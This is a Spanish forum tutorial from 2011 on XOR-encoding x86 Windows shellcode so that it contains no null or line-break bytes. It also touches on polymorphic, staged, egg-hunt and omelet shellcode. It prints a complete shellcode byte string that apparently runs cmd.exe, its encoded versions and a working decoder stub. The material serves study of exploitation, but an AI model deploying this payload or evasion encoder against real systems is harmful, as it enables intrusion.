Título: [Taller] Shellcoding: No mas bytes nulos! Publicado por: lShadowl en 26 Febrero 2011, 14:18 pm Shellcoding: No mas bytes nulos! por lShadowl Este articulo toca, ademas de la evasion de la presencia de caracteres restringidos ("00", "0D0A") en nuestra shellcode por medio de un metodo simple de codificacion XOR, algunos problemas comunes al programar shellcodes y como se han logrado resolver. Teoria :) Para entender por que algunos bytes o pares de bytes son restringidos o devieramos evitarlos a la hora de programar una shellcode debemos primero entender como los exploits manejan la shellcode, para que la utilizan, para eso veamos que es un exploit: Un exploit es un programa que aprovecha un fallo o vulnerabilidad de otro programa para causar un comportamiento anormal en el, mayormente se busca la toma de control de un sistema o un ataque de negacion de servicio. Los exploits actuan inyectando una porcion de codigo malicioso (la shellcode) dentro de una cadena de characteres de el programa vulnerado recibe y que posteriormente por un error en su programacion este ejecuta o crealiza algun proceso como simplemente copiar la cadena donde fue inyectada la shellcode a un lugar de memoria causando un desbordamiento de buffer si es lo que se pretendia. Este es el punto de cuidado al codear la shellcode, como vimos, estas son injectadas a un programa que recibe una cadena de caracteres como entrada. (http://img200.imageshack.us/img200/169/p1t3.jpg) >>Printable x86 opcodes table (http://skypher.com/wiki/index.php/Hacking/Shellcode/Alphanumeric/x86_printable_opcodes)(http://img200.imageshack.us/img200/3017/p2t3.jpg) Como podemos ver en la tabla de opcodes, los valores hexadecimales de CR y LF (un salto de linea) son "0D" y "0A" respectivamente, es decir que si se injecta una shellcode con estos caracteres, el programa host (donde se inyecta) indentificara la secuencia y hara el salto de linea causando efectos catastroficos en el funcionamiento de la shellcode, esto mismo para con el byte "00" (byte nulo), el que en una cadena supone su final, otro byte que tenemos que evitar. +Teoria: otros problemas comunes al codear //clases de shellcodes ->Shellcodes polimorficas: Un metodo para evitar heuristicas es el polimorfismo, los creadores de vx sabran que hacer una shellcode polimorfica es lo mismo que trabajar esa tecnica en la creacion de virus. Basicamente esta tecnica consiste en hacer que el programa sea capaz de modificar su codigo por si mismo y llegar a un mismo resultado. Como? veamos de que estoy hablando por medio de relaciones: a+b=c b+c=c 1(a+b)=c (a+(2*3))+(b+6)=c Como podemos ver, operaciones diferentes, llegan al mismo resultado. Igual en asm: { xor cx,cx add cx,32h }opcodes: 31C983C132 // cx=32h { xor cx,cx mov cl,31h inc cx }opcodes: 31C9B13141 // cx=32h El primer conjunto de instrucciones "31C983C132" son diferentes al segundo "31C9B13141", sin embargo tienen la misma cantidad de bytes y llegan al mismo resultado con el registro cx. Esta es la base del polimorfismo, aunque tambien se utiliza para modificar la shellcode buscando eliminar bytes restringidos como veremos mas adelante. -> Staged shellcodes ~ Shellcode por etapas: Muchas veces existe el problema de que el programa vulnerable nos limita el tama?o que es capaz de recibir, en este caso la estrategia del atacante es introducir una sección de shellcode peque?a que hace funcion de 'stub' cargando el resto de la shellcode estando ya dentro del host. Existen otros tipos de staged shellcode, la egg-hunt shellcode y la omelet (similar a la egg-hunt). --> Egg-hunt ~ Caceria de huevos: La egg-hunt basa su estrategia en cargar la parte mayor en un lugar de memoria con espacio para mantenerla pero con una direccion desconocida, este vendria siendo el huevo, el loader, la primera sección de la shellcode en inyectarse es la encargada de revisar cada proceso en busca del huevo (la otra sección de la shellcode). Veamos un ejemplo: Código
-->Omelet~Varios huevos batidos cocinados con mantequilla. Excelente con queso :D: La unica diferencia entre el metodo egg-hunt y el omelet es que el loader del omelet inyecta varias secciones de shellcode (huevos) en diferentes procesos. Este metodo se usa cuando es limitado el tama?o permitido de inyeccion en el proceso seleccionado, generalmente los "huevos" son bastante peque?os. El omelet (loader de la shellcode) esta encargado de buscar cada una de las secciones y unirlas en una sola. Este metodo solo es valido para win32 ya que es necesario usar la SEH (Structured Exception Handler) que se encarga de manejar las violaciones de acceso causadas por el escaneo progresivo de la memoria. Veamos por encima las estructuras del SEH: EXCEPTION_POINTERS Structure: Contiene un expediente de la descripcion de la excepcion y su contexto cuando sucedio. Código
EXCEPTION_RECORD Structure: Describe la excepcion. Código
Un ejemplo del w32_SEH_omelet.py de Skypher (http://skypher.com/wiki/index.php/Hacking/Shellcode/Egg_hunt/w32_SEH_omelet_shellcode): Código
cifrado la shellcode: Volviendo a la primera parte de la teoria, recordemos el problema de los bytes nulos y saltos de linea, en esta sección veremos dos metodos de encripcion: el alfanumerico y el xor. -->Alfanumerico: El metodo alfanumerico consiste en convertir la shellcode en un conjunto de opcodes alfanumericos, de caracteres que pueden ser impresos, para evitar problemas en la inyeccion de esta. ---> Ascii art: "Si vamos a hacer una shellcode, tiene que verse bien." Código: WTX638WYWX4H4Pd38V34L3w0V34034Lj034LQXH41VV34LT34LZ1dDh3dDhRQXH4d4XPhAAQBhYYYYfhXBZBBBBRJfRT14L34LWHHh >> http://skypher.com/wiki/index.php/Hacking/Shellcode/ASCII_Art/Blocky Y aqui: ALPHA2 (http://skypher.com/wiki/index.php/Www.edup.tudelft.nl/~bjwever/src/alpha2.c), un codificador alfanumerico para shellcodes. --> XOR-enado Una shellcode de este tipo consiste en dos partes: el 'stub', que se encarga de decodificar el codigo cifrado y ejecutarlo y el codigo cifrado en si. Para este tutorial he creado un simple script batch que nos permite codificar la shellcode por el metodo XOR. Veamos el codigo: Código
El script esta bastante explicado asi que pasaremos a la prueba: Usaremos la shellcode creada en el articulo "Creando una Shellcode (http://foro.code-makers.net/index.php?topic=4897.0.html)": Citar \xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68\x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00 Como podemos ver, contiene muchos bytes nulos: "\x00". Veamos la salida al pasarlo por el script: Citar =Shellcode original: \xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68\x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00 => Codificando Opcodes (xor 0x10)... =Shellcode codificada: \xec\xf8\x99\x10\x10\x10\x70\x99\xf5\x21\xc2\x74\x9b\x42\x20\x9b\x42\x1c\x9b\x42\x04\x9b\x62\x38\x1f\xa7\x5a\x36\x21\xef\x21\xd0\xbc\x2c\x71\x6c\x12\x3c\x30\xd1\xdf\x1d\x11\xd7\xf2\xe0\x42\x47\x9b\x42\x00\x9b\x52\x2c\x11\xc0\x9b\x50\x68\x95\xd0\x64\x5a\x11\xc0\x40\x9b\x58\x08\x9b\x48\x30\x11\xc3\xf3\x2c\x59\x9b\x24\x9b\x11\xc6\x21\xef\x21\xd0\xbc\xd1\xdf\x1d\x11\xd7\x28\xf0\x65\xe4\x13\x6d\xe8\x2b\x6d\x34\x65\xf2\x48\x9b\x48\x34\x11\xc3\x76\x9b\x1c\x5b\x9b\x48\xc\x11\xc3\x9b\x14\x9b\x11\xc0\x99\x54\x34\x34\x4b\x4b\x71\x49\x4a\x41\xef\xf0\x48\x4f\x4a\x9b\x02\xfb\x96\x4d\xf9\x1e\x10\x10\x10\x78\x21\x9b\x7f\x97\xef\xc5\x78\xe0\xa5\xb2\x46\xef\xc5\xf8\xfd\xef\xef\xef\x73\x7d\x74\x3e\x75\x68\x75\x30\x10 => Moviendo shellcode codificada a sc.shellcode... => Buscando bytes nulos y saltos de linea en sc.shellcode... =< \x00 encontrado con: xor 0x10 => Codificando Opcodes (xor 0x11)... =Shellcode codificada: \xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e\xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43\x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2\x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\xd0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a\x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\x31\x11 => Moviendo shellcode codificada a sc.shellcode... => Buscando bytes nulos y saltos de linea en sc.shellcode... => Creando codigo fuente del stub decodificador... ****************10c111_decoder.asm******** [BITS 32] global ini ini: jmp short sc_data decode_routine: pop ebx xor ecx,ecx mov cx, 0x10c1 sub cx, 0x1010 decode_loop: xor byte [ebx], 0x11 inc ebx loop decode_loop jmp short shellcode sc_data: call decode_routine shellcode: ***************************************** =Codigo del decodificador guardado en 10c111_decoder.asm >Proceso finalizado< Bien, ya tenemos la shellcode codificada sin bytes nulos ni saltos de linea: Citar \xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e\xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43\x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2\x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\xd0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a\x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\x31\x11 ---> El Stub: Estudiemos el stub creado por el script: Código
Veamos las lineas del decodificador: Código
Y la del codificador: Código
Por que es necesario sumar 0x1010 y luego restarlos al valor de cx, no da lo mismo y es mas sencillo hacer algo como: Código
??? Si, si es mas sencillo, pero veamoslo en opcodes: Código >>B9C11081E91010 Código >>B9B100 Todo bien, pero notese algo: B9B100 Un byte nulo, asi, para evitar bytes nulos en el decodificador el script usa lo que vimos en polimorfismo, diferentes instrucciones para llegar a un mismo punto, asi, hay menos probabilidades de que el stub quede inservible con bytes nulos, no digo que sea imposible, eso es parte del programador, pero es una tecnica que ayuda a evitarlo. Probando todo -Tenemos el stub para la shellcode: Citar \xeb\x14\x5b\x31\xc9\x66\xb9\xc1\x10\x66\x81\xe9\x10\x10\x80\x33\x11\x43\xe2\xfa\xeb\x05\xe8\xe7\xff\xff\xff -Tenemos la shellcode codificada: Citar \xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e\xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43\x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2\x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\xd0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a\x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\x31\x11 Encapsulamos en C: Código
(http://img142.imageshack.us/img142/5395/p3t3.jpg) funciona!! :) Referencias Understanding Windows Shellcode en.wikipedia.org/wiki/Shellcode skypher.com/wiki/index.php/Main_Page Articulos mios relacionados al shellcoding: Creando una Shellcode (x86?win) (http://foro.elhacker.net/bugs_y_exploits/taller_creando_una_shellcode_x86_win-t320583.0.html) Creando una Shellcode: "Direccion de kernel32 y calls especiales" (http://foro.elhacker.net/bugs_y_exploits/taller_creando_una_shellcode_direccion_de_kernel32_y_calls_especiales-t320584.0.html) Saludos! Título: Re: [Taller] Shellcoding: No mas bytes nulos! Publicado por: jackgris en 26 Febrero 2011, 23:01 pm Muy bueno al igual que el otro
|